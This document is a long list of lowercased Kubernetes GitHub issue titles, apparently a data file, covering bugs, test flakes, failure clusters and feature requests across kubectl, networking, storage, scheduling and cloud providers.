kubectl doesn't work well with externaladmissionhookconfigurations and initializerconfigurations

e2e failure  \ should function for client ip based session affinity\  constantly fails

kubectl exec fails when validatingwebhookconfiguration matches pods/exec resource

kubernetes obtains ip address from containers' eth0 instead of cni output

hyperkube kube-proxy does not support json or yaml for --kube-api-content-type

kubectl exec gives poor output when command does not exist in container

kube-controller-manager crashes when creating svc loadbalancer with azure

zero capacity pvs cause pods to fail and zero capacity pvcs create zero capacity pvs

framework.conformanceit   fails with \ called with non-literal argument\

check volumes actually exist in podvolumesexist before deleting the pod

local-up-cluster.sh failed when specifying api_host as docker0 addr

discovering, bookkeeping and isolating platform resources other than cpu time and main memory.

node status becomes nodeready from nodenotschedulable after failover

flake: pull-kubernetes-federation-e2e-gce federation-up.sh fails

scheduler documents deprecated flags but does not provide its replacement

setup call to volume plugins should include user and plugin provided mount options

'kubeadm init --dry-run --feature-gates=dynamickubeletconfig=true' doesn't work together

feature request: mounting gce-disk directories  or even files  into containers paths

kubemark can't work with google cloud project id prefixed with domain name

cloud controller manager unable to split provider id for vm in availability set in azure

\ failed to setup network for pod \\ using network plugins \\\ cni\\\ : no ip addresses available in network: podnet; skipping pod\

pods that run as restartpolicy=always can't set activedeadlineseconds

sample apiserver report failed to list  wardle.fischer: the server could not find the requested resource

curl kubernetes with serivceaccount token, it always returns “unauthorized”

can only curl a service, using node-port and node ip, where pod is running.

flipping in and out of service.type=loadbalancer can report stale ip

when an e2e test fails, enumerate all cloud provider api calls that failed and why

failure cluster  f06eea...  failed 127 builds, 63 jobs, and 1 tests over 1 days

pull-kubernetes-e2e-gce-etcd3 failing: quota 'subnetworks' exceeded

there should be constants for well-known rbac clusterrole bindings

cri: clearly define the expectation of summary api and cri stats

issue on downloading os dependent etcd binary if etcd soft link points to non-relevant pre-existing binary

pvc jsonpath={.status.capacity.storage} isn't update after expand  resize  pvc.

privileged containers not showing up as privileged at docker level

kubectl create secret generic --type validate from known list of types by default

can't have more than one cephfs volume per pod and pod termination delete all files in the cephfs path

kube-dns add-on should accept option ndots for skydns or document configmap alternative subpath

duplicate code about genericconfig's complete    in apiserver module

determine correct behavior for addobjectparams in api_installer.go

move the cluster registration/deregistration steps out of the parallel test's from the parallel tests' beforeeach/aftereach blocks.

kubernetes master should limit the number of nodes that can join

l7 gce should create ingress with given static-ip broken in 3 1.6 suites

figure out a way to automatically update swagger-spec for swagger ui on kubernetes.io

failure cluster  160696...  failed 185 builds, 20 jobs, and 3 tests over 1 days

e2e: internete connection test should not rely on icmp achievement

security.alpha.kubernetes.io/unsafe-sysctls not work for ip_local_reserved_ports whose value is comma-separated

revisit deleted e2e test jobs to determine whether sigs want to undelete and fix or disable them

refactor attachdetach reconciler to use a map for multi-attach support

--local flag fails on kubectl commands that deal with unstructured objects

upgrade test failure  dns should provide dns for externalname services - ip not in range

service ip and port allocator repair controllers do not send events on errors

cluster/log-dump/log-dump.sh: line 235: node_names @ : unbound variable

eventratelimit admission controller can't start with configuration format

handlers with refresh period don't work on informers with 0 default refresh period

flaky timeouts while waiting for rc pods to be running in density test

available_controller.go gets persistent errors after etcd servers run out of space and recover

missing rewrite-tag-filter plugin in fluentd-elasticsearch image

dockerhub image pull documentation is incorrect in the user guide as of 12/31/2015

upgrade test  \ pods should invoke init containers on a restartalways pod\  failing in gke-container_vm-1.3-container_vm-1.5-upgrade-master

federation: federation-controller-manager is restarted during init

kubelet iptables performance issue with --make-iptables-util-chains=true

should return an error for namespaced delete collection on non-namespaced resource.

e2e  test invalid with coredns  - kubectl cluster-info should check if kubernetes master services is included in cluster-info

strange behavior running kubectl create with --template and --dry-run flags

system:discovery cluster role should include the \ /\  nonresourceurl

kube-proxy uses incorrect iptables save and restore commands for ipv6

enable custom etcd repository/image to be specified for kube-up and e2e scripts

azure cni ip addresses exhausted, old pod ips not being reclaimed?

kubelet config: validate new config against future feature gates

break dependency between k8s.io/kubernetes/pkg/credentialprovider/aws and k8s.io/kubernetes/pkg/cloudprovider/providers/aws

add notes on reviewing conformance test case changes that could impact windows

failure cluster  ac251c...  failed 140 builds, 22 jobs, and 1 tests over 1 days

\ hack/update-all.sh\  output doesn't pass \ make validate\  for generated federation content

podsecuritypolicy  all authenticated tokens can use a psp assigned to \ system:serviceaccounts:kube-system\  rbac group

configure coredns to use strict-order when quering upstream nameservers

kubelet  refactor kubelet to add a node capacity/allocatable provider interface.

refactor concrete implements of plugins and provisioners for cloud providers

azure_routes: the plugin should back off properly on 429 and other failures

downward api envvar and volfiles contain differing information, could use more examples

failure cluster  268990...  failed 488 builds, 6 jobs, and 1 tests over 1 days

strategic merge patch fails for custom resources with cryptic error

kube-proxy should fall back to iptables firstly when unable to load kernel modules

need to be able to control which nodes are added to a cloud load balancer.

gce - configure-helper.sh - masquerade rules that were added in 1.7.11 and 1.8.4 get flushed.

container is exited with code '137'  kill -9  when node label is changed

failing test   k8s.io   sig-node  kubelet regular resource usage tracking and clear up pods on node kubelet tests failing

gke: hack/e2e.go requires a compiled kubectl, but --build refuses to build one

expansions should be placed on the generator side  be an input to generation  rather than live in the output folder

leverage the type system to avoid static pod / mirror pod translation issues.

k8s.io  kubelet  k8s.io  clean up pods on node kubelet should be able to delete 10 pods per node in 1m0s. {kubernetes e2e suite}

how kubectl explain and describe output could be improved for external consumers

deployments and the rolling updater should ignore terminating pods

failed to provision loadbalancer service: networkinterfaceandloadbalancerareindifferentavailabilitysets

storageos can't create a volume in 2-node on-premise kubernetes cluster

conversion functions should not be generated if manual conversion functions exist

k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner should create and delete persistent volumes {kubernetes e2e suite}

kubectl exec command hangs on exit if command starts a background process

kube-proxy randomly returns 504 gateway timeouts  without actually waiting

kubectl should use websockets for exec, port forward, logs, and attach

flaky e2e test  garbage collector should not delete dependents that have both valid owner and owner that's waiting for dependents to be deleted

can kubectl diff only check the things provided in the yaml file?

job is continuously creating failed pods, not respecting backofflimit parameter

kubernetes communicate with an app using service nodeport and not container ip

standalone cinder provisioner use iscsi raw pv can not attach the k8s minion

kube_enable_insecure_registry=true makes nothing if also using kube_use_existing_master=true on kubernetes_provider=aws

kubectl create secret tls reads key and cert twice, which breaks with bash process substitution

sharedinformer: when a watch breaks, it should automatically resume

when deploying new pod to cluster, provide blocking process option to get notified when it is done and where it fails.

cluster-update: parallelize node-upgrade  more than one at a time

kubeadm's os.hostname   isn't getting the fqdn the expected way?  causes a fail to join a node in 1.7.0 when hostnameoverride is used

kube-apiserver proxying data not write in cause kube-dns failed to connect with kubernetes service

kube-proxy: issue with ipv6 bind addresses for metrics and healthz.

iscsi volume can't be attached with \ mountvolume.waitforattach failed\

the conformance test \ validates resource limits ..\  fails if nodename is ip address

\ cluster level logging implemented by stackdriver should ingest events\  fails for gke regional clusters

google oidc issuer mismatch: https://accounts.google.com and accounts.google.com

how to create a new node and join to the existing kubernetes cluster.enable the node to allow the elastic search data to be stored.

cache resource requests per pod per resource name in getpodstopreempt

openstack cinder volumes not detached from downed vm when pod is rescheduled to another node.

unable to add windows server 2016 nodes to a kubernetes cluster on aws

need pattern for updating controllers that works with extensions  tpr/aggregated

image_gc: cadvisor reports incorrect free/capacity fs info for loop file + device mapper

api-extensions etcd storage:  resources serialized in etcd with double prefix

the system time is inconsistent with the time recorded in the pod log time and the etcd,eight hours apart.

audit backend should start before http server start and use preshutdown hook

hit \ cp: illegal option -- t\  while making etcd image in macos

at large scale, kube-apiserver cpu-starves to death at 8qps of \ endpoints patch\

kubelet and kube-proxy fail to reload certificates when they are updated

is it possible to enable multiple cloud providers in controller manager

refactor proxiers to share implementation of servicehandler & eventhandler

gci-gce-ipvs failed service loadbalancer source range don't work in ipvs proxy mode

deleting a namespace containing a custom resource with finalizer results in repeated updates to deletiontimestamp

use of hardcoded \ userresources\  breaks  kubectl get all  if server does not have at least one of the resources

federation  kubefed  aws kops cluster  cluster stays in unknown state & tls handshake error

deletepod handler in the deployment controller should not set owner refs

kubectl apply doesn't record the right change cause for daemonset history

pr:pull-kubernetes-e2e-gce-etcd3 flaked 122 times in the past week

\ error from server  notfound : scalingpolicies.scalingpolicy.kope.io \ fluentd-gcp-scaling-policy\  not found\

k8s.io  pod disks should schedule a pod w/ a rw pd, gracefully remove it, then schedule it on another host  slow  {kubernetes e2e suite}

close_wait connections on master node not released when  websocket closed

k8s.io  statefulset  k8s.io  basic statefulset functionality should handle healthy pet restarts during scale {kubernetes e2e suite}

upgrade test  \  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover\  in ci-kubernetes-e2e-gke-container_vm-1.4-gci-1.5-upgrade-master

k8s.io  kubectl client  k8s.io  simple pod should handle in-cluster config failing in version skew tests

\ simulation\  of scheduling behavior needs to work with modified scheduler policies, replacement schedulers, and multiple schedulers

supports monitoring metrics for network/instance operations in openstack cloud provider

e2e failure   sig-network  networking granular checks: services  slow  should function for client ip based session affinity: http

pods with large numbers of containers do not always exit cleanly

a cr update caused nil pointer dereference in kube-apiserver 1.9.8 and 1.7.15

intercepting the \ pods/eviction\  subresource via validating webhooks should work

local vagrant kube-up fails if the kubernetes_vagrant_use_nfs option is set

use bots and labels to prevent users from submitting docs changes into the wrong branch

make the schedule of imagelocalitypriorty more efficient and smarter!

ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.5-upgrade-cluster-new: broken test run

we should gather logs / information from the xenstore interface  on aws

sharedinformer.run   should wait for all spawned goroutines to stop

ensure all e2e gcloud calls use a helper methods and follow the test_context

failing kubectl skew test: kubectl alpha client  k8s.io  kubectl run scheduledjob should create a scheduledjob

master instance sometimes modify  delete and create  elb security group.

rand utility should use per-component source instead of a global source

pods recreated without waiting for termination with strategy.type=recreate

confimap input file comments, ending with space storing value as quoted string instead of key/value pair

remove infinite loop from test/e2e/service.go:validateendpointsorfail

when node is out of extended resource, the pod still gets scheduled on that node

v1.9.6 rhel/centos 7.6 iptables-restore failing.  no service rules

quota-protection for services requesting health check node port allocation

scheduler extender interface enhancement to send minimal node info on the wire

/debug endpoint on nodes should get its own acl rule, otherwise have to give root access on nodes

kubectl log indicates pod doesn't exist when it is actually pending

1.12 running in-cluster e2es no longer respects service account rbac rules.

the test \ simple pod should support inline execution and attach\  is inherently racy.

in hpa metrics client check if all pods and their containers were running long enough

externaltrafficpolicy=local makes it unable to reach externalip from nodes without pods

kube-proxy failed to start with kubernetes v1.12.0 and pouch v1.1.0 using kubeadm

apparently wrong cns in documentation: pki certificates and requirements

pv controller volume operations are not using any backoff mechanism

something calls /version with incorrect user agent \ go 1.1 package http\

cadvisor metric \ container_network_tcp_usage_total\  always \ 0\

kubectl port-forwarding has a hardcoded concept that assumes target pod/container to be listening on 127.0.0.1

centos 7 systemctl start apiserver return to fail, but apiserver process runs background

scaling or deleting statefulset in 1.5 cluster with 1.6 kubectl fails

ci-kubernetes-e2e-gce-federation started constantly failing since build 4503  last friday night

test failure k8s.io/kubernetes/pkg/cloudprovider/providers/gce: \ google: could not find default credentials\

rbd volumes cannot be mapped read only to more than 1 container - not pv related

kubernetes api docs section index autoscroll only goes down as far as  config and storage apis > volume attachment v1beta1 storage.k8s.io

kubectl apply deployment doesn't update the existing one and creates a new one

kubelet should not report multiple stats for the same container in the summary endpoint

conformance test will be failed if there are  completed  pods in  kube-system

provisioning a pvc using a storage class on vsphere fails with \ runtime error: index out of range\  if the default language on the vmware vcenter server is not english

formatting of unhealthy readiness probe event message makes it difficult to read

scheduler extender changes to node array nodes    api.node, but extenderargs still use nodelist

kubectl  previously working kubeconfig gives loading error on v1.8.0

create resource deployment report timeout but create other resource success

if create a endpoint independently, restart kubernetes master, this endpoint should not be deleted.

downgrade cluster tests are failing with connection refused errors

“--master-service-namespace” option of kube-apiserver does not work

feature request  spread pods of a deployment by custom node label e.g idc/carrier/operator

registries: remove intermediate  type registry interface  between scalerest and storage

cloud-controller-manager should get /healthz to wait for apiserver to be healthy

csi skipattach and pod info e2e tests should register with driver-registrar

evaluate using flatbuffers as additional media type in the api  next to json and protobufs

failure cluster  b5cef4...  failed 271 builds, 42 jobs, and 1 tests over 1 days

sleep 25s after creating a new azure storage account is unnecessary

master nodes missing noschedule taint and pods are being scheduled on them

daemon set conformance test fails on kind cluster using ci-kubernetes-conformance-image job.

failure cluster  21478c...  failed 80 builds, 5 jobs, and 1 tests over 1 days

gce ingress with routes always falls back to default-http-backend

using annotations for new api features creates the potential for security lapses

implement session affinity for kubernetes clients that use multiple api servers

skewtest failing kubectl client  k8s.io  kubectl apply should apply a new configuration to an existing rc

daemonset pods not scheduled to cordoned node when scheduledaemonsetpods is enabled

volumesubpathenvexpansion e2e tests cannot access kubectl binary

e2e flake:  k8s.io  namespaces  serial  should ensure that all pods are removed when a namespace is deleted

kubelet reported capacity should take into account the size of pod cidr

\ --raw cannot read from a url\  raised if the filename has a prefix \ http\

failed to load kubelet config file /var/lib/kubelet/config.yaml after kubelet update

ebs volumes cannot reattach to petset after unexpected detachment

set --proxy-client-cert-file and --proxy-client-key-file for kube-up.sh

failure cluster  ba1185...  failed 143 builds, 6 jobs, and 1 tests over 1 days

dynamically provision ebs persistent volumes with xfs filesystem

expandcontroller will panic if we want to expand unsupported volumes

unable to gracefully restart kube-apiserver static pod when rotating etcd keys

get pod log request maybe account in the wrong api latency metric report

gce: cluster turn-up with a network that belongs to another project

why retry_handler for aws not consitent with aws sdk defined conditions of retryablecodes and throttlecodes??

container and image of kube-build still remain after building e2e binary

how to restrict kubernetes cluster to internal ips/elbs/... in aws?

gce persited disk sometimes gets mounted read-only in a single container

pr:pull-kubernetes-e2e-kops-aws flaked 131 times in the past week

openstack cloud provider should allow exposing only the public ip

e2e check for \ /logs\  api path should be skipped for provider skeleton

move  kubecontrollermanagerconfiguration  to  pkg/controller/apis/

loadbalancersourceranges service spec should allow service tag strings

deviceplugin  should we retry when listandwatch grpc call failed?

iptables rules of round-robin can not go into effect with nodetype

flakes:  sig-network  service endpoints latency should not be very high  conformance

replicaset controller bug: continuously creating pod to tainted nodes

container manifest should allow specifying interface to listen on

controllers don't take any actions except updating status if deletiontimestamp != nil

scheduler : calculatenodepreferavoidpodspriority seems does not work

failure cluster  c0e311...  failed 58 builds, 2 jobs, and 1 tests over 1 days

support testing the latest image in an image family in node e2e benchmarks

using systemd cgroup driver, failed to get stats for kubepods.slice/

k8s.io  services should serve multiport endpoints from pods  conformance  {kubernetes e2e suite} is flaky

add ability to create binary versions of k8s/code-generator helpers

cri: include pod name and namespace in the cri pod log directory

create/update quota should calculate the current used resouce quota

federation users shouldn't be required to have go compiler toolchain/libraries installed

service of type externalname that is converted to clusterip does not get an ip

daemonset  rejected pods are re-created too fast to get any log or event

unable to use specified ca cert c:/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

hanging in poststart hook can cause pod to get stuck in containercreating state with no logs/event info

daemonsetcontroller can't feel it when node recovered from outofdisk state

flaky: disruptioncontroller evictions: enough pods, replicaset, percentage => should allow an eviction

failure cluster  b3bcbd...  failed 94 builds, 19 jobs, and 1 tests over 1 days

cpumanager: mixing workloads with pinned and non-pinned cpus lead to unexpected results.

scheduler: podfitshostports predicate funcs does not respect hostip

failure cluster  2c8663...  failed 66 builds, 2 jobs, and 1 tests over 1 days

kubernetes keeps restarting pods of statefulset with “need to kill pod” as the only indication why

a daemonset pod was not upgraded correctly from a master upgrade test

csi kubelet driver registration - plugins watcher beta considerations

unable to configure azure load balancer idle timeout with annotation

destroy the \ expect err .notto haveoccurred   \  anti-pattern in e2e tests

error pulling images from external registry when the user changes

e2e conformance test about websocket failed only with log level 8

when a pvc is provisioned with delayed binding, it never recovers from a failed provision

k8s.io  configmap should be consumable from pods in volume  conformance  {kubernetes e2e suite}

ipvs nodeport is not working if host not using eth{i} as nic name

failing tests  : beforesuite,up and upgrade tests failing on multiple downgrade cluster jobs in sig-release-master-upgrade

kubectl create service does not create apiversion and kind in the yaml file

k8s.io  events should be sent by kubelets and the scheduler about pods scheduling and running  conformance  {kubernetes e2e suite}

start kubelet with --registrer-with-taints can't set taints for the node

structure of allowhostpaths in podsecuritypolicy does not allow for future checks

pr:pull-kubernetes-e2e-gce-bazel flaked 18 times in the past week

why do we want to refactor the plumbing to provide the information in the apigroupinfo?

the status of pods from a single node is inconsistent. the value of the fields can change in a few seconds.

discuss image versioning via tags  vs. none/latest  in best practice doc s

deploying kubernetes on bare metal ubuntu - kube-up.sh doesn't run if /tmp is mount noexec

grafana not showing any data from the cluster even though it is shown on k8 dashboard

staging/godeps-json-updater.go should take parameter for skipped deps

kubeadm 1.6 is broken due to unconfigured cni making kubelet notready

feature suggestion: kubectl describe service should show pod names

unable to access nodeport externally using host's ip in aws kubernetes cluster deployed with kops

why i use type: loadbalancer  expose a service  get  external-ip pending? on gce。

kubernetes unexpectedly de-registered all worker nodes from all service-managed elbs

java.net.unknownhostexception when use coredns rewrite plugin in kubernetes

connections to service clusterip with no endpoints are not rejected

kubectl cp  remote-to-local copy loses owner and access permission information

cluster/kube-up.sh failed while waiting for the api to be reachable

go mod import of kubernetes modules, golang.org/x/text is referenced to a non-existent version

transient /var/lib/docker prevents correct container log symlink

don't swallow provider error when they're related to invalid psp

kubect logs doe not work when switch container runtime from docker to cri-containerd

migrate kubelet --experimental-qos-reserved to kubelet.config.k8s.io or remove the flag

\  action required  stackdriver logging export config error\  email spam

missing/inconsistent merge patch strategy for serviceaccount imagepullsecrets

slb backend pools are empty if outbound rules are defined in a separate backend pool

kube-proxy userspace should use iptables-save and iptables-restore

kubelet tries to kill rkt pods more than once when  kubectl delete pod

kubelet flag cluster-domain doesn't work if resolve-conf is configured

idea: provided a mechanism to aggregate a given pod's related events / logs

k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}

mac os/docker-machine  could not connect to rsync container. see build/readme.md for setting up remote docker engine

i ran a deployment with 3 replicas. but the pods are not created

\ kubectl rollout status\  returns error message before rollout finish

split the federation e2e tests into two separate jobs to make parallel testing possible in at least one of the jobs

\ no kind is registered for the type runtime.unknown\  error when creating rbac resources on 1.6.6

feature request  support readonly and type for extravolumes in kubeadm

kubelet use only ipv4 version of iptables cmd in syncnetworkutil

when an object is created on an update request, the admission controllers see it as an update

failing tests  kubelet serial gce e2e tests which set podpriority are failing

old replicaset and old pods are still alive with new replicaset and new pods when using command 'kubectl replace -f  yaml file '

markdown to html conversion excludes go template content inside double curly braces

generated doc scripts  e.g. for kubectl  should update the new docs repo

upgrade cni in vendor to support pass interface info back to runtime

local-up-cluster.sh always fail with \ timed out waiting for apiserver\

podsecuritypolicy  system:node  kubelet  cannot apply \ use\  verb to \ podsecuritypolicies.extensions\

kubelet cannot register nodes since hostnames are used as node names on openstack

kube-proxy pod do not initialize due to lack access to /proc/sys @kubernetes/sig-network

boundserviceaccounttokenvolume: kube-proxy doesn't reload serviceaccount tokens

we should have a concrete error in kubectl for kubernetes.io/cluster-service: \ true\  containers manipulation

scheduler to continue if a predicate throws an error for a particular node

node name is not unique; prefer uid to avoid race conditions / facilitate caching?

failure cluster  312beb...  failed 85 builds, 4 jobs, and 1 tests over 1 days

ccm  cloud node controller will not remove nodes that no longer exists for cloud providers that require providerid

fc plugin  volume reconstruction for fc plugin doesn't work due to lack of information

authentication failed messages do not show what client failed to authenticate

minikube start with error getting pods with label selector “k8s-app=kube-proxy” on win10

fibre channel volume manager does not find fc disk if multiple targetswwns are passed

failed to start containermanager failed to initialise top level qos containers

improve establishing logic for crds by implementing installing status to prevent race conditions

deployment doesn't manage already created pod with appropriate labels

scheduler cleanup phase 🐼 : change  getnextpod  from method to function

one or more request from haproxy to cluster-ip service-ip  are getting miss at the time of deployment of other app rc

k8s.io  projected should be consumable from pods in volume  conformance   volume  {e2enode suite}

kubectl describe node should show oir requests/limits for non-terminated pods

pod should be deleted with force option with taint based eviction

phabricator example images in readme.md doesn't match the json files

when a federated cluster becomes offline, federation controller manager doesn't u

local cluster fails to start error: failed to run kubelet: running with swap on is not supported

the unit of rate which passed to bandwidth cni plugin are not bps

pod with priorityclass  system-node-critical cluster-node-critical should be forbidden when submitted not in the namespace 'kube-system'

log errors / error out when initializing loadbalancer with without a cloud-provider specified

secrets with specific permissions  defaultmode or mode  not being applied in kubernetes 1.4.0

kube-dns and weave-net not get starting status was showing like containercreating.

namespaced dependent of cluster scoped resource is sometimes erroneously garbage collected

update to statefulset fails if size of pvc in volumeclaimtemplates == 1024gi

kubelet volumemanager doesn't update node volumesattached status

fix the minor memory leak in aws because attaching and deviceallocators not being removed

kubectl apply set-last-applied   -o json --dry-run should print a newline before print success

scheduler still schedule pod to node which marked as schedulingdisabled

after upgrading docker version from 10 to 11 'cadvisor' not reporting metrics on 'pods'

kubectl edit does not display mixed objects and secrets correctly

adding capability in ginkgo-e2e.sh in order to set node instance groups for gce test

getting started guide for docker multi-node deployment fails on ubuntu trusty64

os load balancers  allow service annotations to override the settings specified in --cloud-config

one of the flexvolume driver added error will block the in coming flexvolume

disruptive tests using kubeletcommand   fail in k8s environmnets which have no external ip

kubectl describe pv <pv name> should tell the user what nodes the hostpath was created on

e2e_publish_green_version should use same logic as other version uploaders

restart controller-manager  and apiserver/scheduler  during our e2e tests

kubectl run with --rm and --expose don't remove service on termination

fluentd-gcp container does not send journal logs to cloud-logging  on master branch

failure cluster  7d7095...  failed 154 builds, 57 jobs, and 1 tests over 1 days

volume operation metrics inconsistent with cloud provider metrics

one dev pushes, triggering a rolling-update, the other deletes the replication controller.

author a node e2e test that verifies live-restore functionality in docker

kube-control-manager hanged by \ attempting to acquire leader lease...\

v1.10 alwayspullimages admission control order breaks mutatingadmissionwebhook functionality like istio

when launching a pod referencing existing ebs the pod does not get launched on the node where the ebs gets attached

failing test:  sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 1 pod to 3 pods and from 3 to 5 and verify decision stabilitychanges

unify validation of tokenrequest related flags to the api server

rfc 952/1123 allows uppercase characters, but isdns1123subdomain does not

periodically verify that the getting started guides with \ project\  support level work

k8s.io  kubectl client  k8s.io  kubectl run job should create a job from an image when restart is onfailure  conformance  {kubernetes e2e suite}

node name filter might not set up right in some cloud functions gce.go due to node name prefix trunction

now  i had get csr and approved the node ,but i can't get nodes by excute\ kubectl get nodes\  ? why?

cluster setup: getting started guides rely on directories/scripts not included in kubernetes.tar.gz

changing externaltrafficpolicy on gke does not update load balancer health check

api server should return 4xx for invalid path in json patch, not 500 internal server error

fix the \ first pod problem\  for inter-controller/service pod affinity like we did for same-controller/service pod affinity

surface cloud-provider-specific information in services of type loadbalancer

pod instance should not reboot if the current node meets the new applied node affinity rule

some pods stuck in terminating state and can only be removed if deleting with propagationpolicy=background

azure provider triggers vmss manual upgrade which restarts all instances at the same time

tolerations are doubled when the same toleration key is set twice

k8s.io  kubectl client  k8s.io  kubectl label should update the label on a resource  conformance  {kubernetes e2e suite}

error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod

test failure: basic statefulset functionality  statefulsetbasic  scaling down before scale up is finished should wait

user \ system:node:127.0.0.1\  cannot get configmaps in the namespace \ kube-system\ .: \ no path found to object\

rfc  add prefight command for kubeadm check the sandbox image requirement

adds support for hierarchical fs namespace for probe based kubelet plugin discovery

add more test case for nodeshouldrundaemonpod & predicates of daemonset

job backofflimit does not cap pod restarts when restartpolicy: onfailure

create customresourcedefinition, error: operation cannot be fulfilled on customresourcedefinitions.apiextensions.k8s.io \ virtualservices.networking.istio.io\ : the object has been modified; please apply your changes to the latest version and try again

flaky test   k8s.io  pods should support pod readiness gates  nodefeature:podreadinessgate  in ci-kubernetes-e2e-gce-cos-k8sbeta-default

kube-proxy iptables: service will fail with fixed probability if one of endpoints unreachable

when several pods in the same minion how to distinguish their log

friendly note: i am receiving every email notification for this repo

failure cluster  d9148c...  failed 65 builds, 1 jobs, and 1 tests over 1 days

failure cluster  d6b0a5...  failed 89 builds, 27 jobs, and 1 tests over 1 days

podsecuritypolicy bypass through replicasets/deployments/daemonsets

gce kube-down  clean up leaked network routes to avoid network deletion failure

issues a single allocate grpc call per pod in kubelet device manager

new e2e test proposal to verify preference for activedeadlineseconds over backofflimit

kubefed init needs to create rolebinding to allow cluster controller to fetch secret

cleanuporphaned pod might fail if volumes directories are unmounted but fail to remove

scheduling jobs based on file availability in distributed file system

the aarch64 organization is deprecated in favor of the more-specific arm64v8 organization

e2e failure  cluster level logging implemented by stackdriver should ingest logs

provide support for admission webhooks in all api servers out of the box

pods in statefulsets don't have dns a record if service is nodeport

parallel job with work queue: if all pods evicted, new pods never respawned.

k8s.io  mirrorpod when create a mirror pod  should be recreated when mirror pod forcibly deleted {e2enode suite}

should have option to specify the external load balancer for  create loadbalancer service

missing iptables rules on the nodes for service type=loadbalancer in aws

when a deployment duplicate is created containing a different label, it leads to an orphan replicaset

cleanup the replacekeys and setelementorder code in strategic merge patch

httpget in readiness and liveness probes fails on status > 200 and < 400

juju  the log file for kubeapi-load-balancer is not rotated by default

apiserver does not offer command-line control over availability of prometheus metrics and default in release 1.10 is \ unavailable\

explain life cycle of automatically created secrets in serviceaccount

k8s.io  secrets should be consumable from pods in volume with defaultmode set  conformance  {kubernetes e2e suite}

getdevicenamefrommount   function doesn't return the volume path correctly when the volume path contains spaces

kubectl oidc auth provider: client shouldn't send scopes during refreshing

k8s.io  pod disks should schedule a pod w/ a readonly pd on two hosts, then remove both gracefully.  slow  {kubernetes e2e suite}

k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  scaling should happen in predictable order and halt if any stateful pod is unhealthy 21m14s

upgrade test failure  podpreset should create a pod preset; podpreset should not modify the pod on conflict

run cloud controller manager with aws iam role from different account

kuberentes pod get requests before the pod can resolve the other pods dns in the same cluster

containerized hyperkube kubelet addndotsoption: resolvconfpath warning

persistent volume with azure disk get failed status of delete policy

k8s.io  kubectl client  k8s.io  update demo should create and stop a replication controller  conformance  {kubernetes e2e suite}

detailed container stats via kubelet api proxy returns 503 in 1.8 version

support to pause and resume the ability of scaling just like rollout

flaky test:  sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   volumeio should write files of various sizes, verify size, validate content  slow

cloud-controller-manager can't mount ebs in a pod when using dynamic provisioning

multi port service has kube-proxy iptables that send traffic to wrong pod

cannot deploy glusterfs through kubernetes - \ couldn't find an alternative telinit implementation to spawn\

kubectl describe on nonexistent pod results in error: another mapper was already selected, cannot use unstructured types

subjectaccessreview endpoint should exist for providers other than gke explicitly

consider using docker images tags :latest :stable for docker images

hpa controller should better inform user about failed failures in reading metrics

switch all https://storage.googleapis.com/kubernetes-release/release urls to https://dl.k8s.io

k8s.io  esipp  slow  should only target nodes with endpoints  feature:externaltrafficlocalonly  {kubernetes e2e suite}

e2e flake: cluster level logging using gcl should check that logs from containers are ingested in gcl

test failure: schedulerpriorities  serial  pods should be scheduled to low resource use rate node

flaky unit test  pull-kubernetes-bazel-test failing on pkg/master

generic error message when posting invalid custom resource with doraw

automate and/or create an interface for spinning up jenkins jobs for a new branch

kubelet should not list images every time when generating node status.

update-generated-docs.sh updates all links to kubernetes/community

k8s.io  esipp  slow  should only target nodes with endpoints flaky

k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/test/integration testpatch is flaky

candidate for conformance  discussion for  sig-apps  disruptioncontroller evictions

kubelet's providerrequiresnetworkingconfiguration   doesn't handle gce + network plugins

avoid computing the same information multiple times in scheduler

k8s.io  cluster size autoscaling  slow  should correctly scale down after a node is not needed  feature:clustersizeautoscalingscaledown  {kubernetes e2e suite}

saltbase installer tries to enable the wrong ntp service on centos 7

fc volume plugin should support world wide identifier  wwid  parameter as an unique volume identifier

gce ingress controller  glbc  should install a firewall rule per ingress object per cluster

k8s.io  services should work after restarting apiserver  disruptive  {kubernetes e2e suite}

local storage isolation doesn't work for pod with only overlay or scratch space request

kube-proxy can't select proper network interface to connect with kube-apiserver in a node with multiple network interfaces.

requirements for multi-scheduler to graduate to beta and then v1

call to pods sometimes slow : it takes either 0, 10, 20, 30 ... seconds

k8s.io  networking  k8s.io  granular checks: services  slow  should update nodeport: http  slow  {kubernetes e2e suite}

test can not create statefulset using statefulset_utils.go when apiversion is set to apps/v1beta2

networking: pods are unable to communicate with: other pods, the api server and the outside world

k8s.io  downward api should provide container's limits.cpu/memory and requests.cpu/memory as env vars {kubernetes e2e suite}

k8s.io  kubectl client  k8s.io  simple pod should support port-forward {kubernetes e2e suite}

gce ensureloadbalancer   for static ips should error if the ip is not static

k8s.io  configmap updates should be reflected in volume  conformance   volume  {e2enode suite}

k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra {kubernetes e2e suite}

case study: prow jobs  and why jobs are not enough for k8s testing

vendoring util package from private site creates slow build process and security risk

failure cluster  63a364...  failed 107 builds, 43 jobs, and 35 tests over 1 days

failure cluster  c42417...  failed 86 builds, 2 jobs, and 1 tests over 1 days

get message from process inside initcontainer in status.message/status.reason

after kubernetes 1.11.2 upgrade pod's cant resolve endpoints via core-dns

kubeadm complaints about bridge-nf-call and ip_forward if not using docker runtime

deprecate node.spec.unschedulable when taintnodebycondition is ga'ed

resourcequota objects not refreshing anymore  while admission controller still working

kubelet image garbage collection failed: unable to find data for container /

add utility method for group kinds to replenish in quota for use downstream

hack/update-all.sh is not enough to pass make verify_generated_files

e2e flake  garbage collector should orphan pods created by rc if delete options say so

failure cluster  968c18...  failed 84 builds, 4 jobs, and 1 tests over 1 days

downgrade tests  cluster downgrade should maintain a functioning cluster

unable to register node  with api server x509: certificate signed by unknown authority

failure cluster  1841b0...  failed 84 builds, 7 jobs, and 2 tests over 1 days

unrecognized internal errors in apiserver when etcd server is restarted

kubelet does not launch static pods while waiting for bootstrapping

kubectl needs better cluster-info and switching cluster functionality
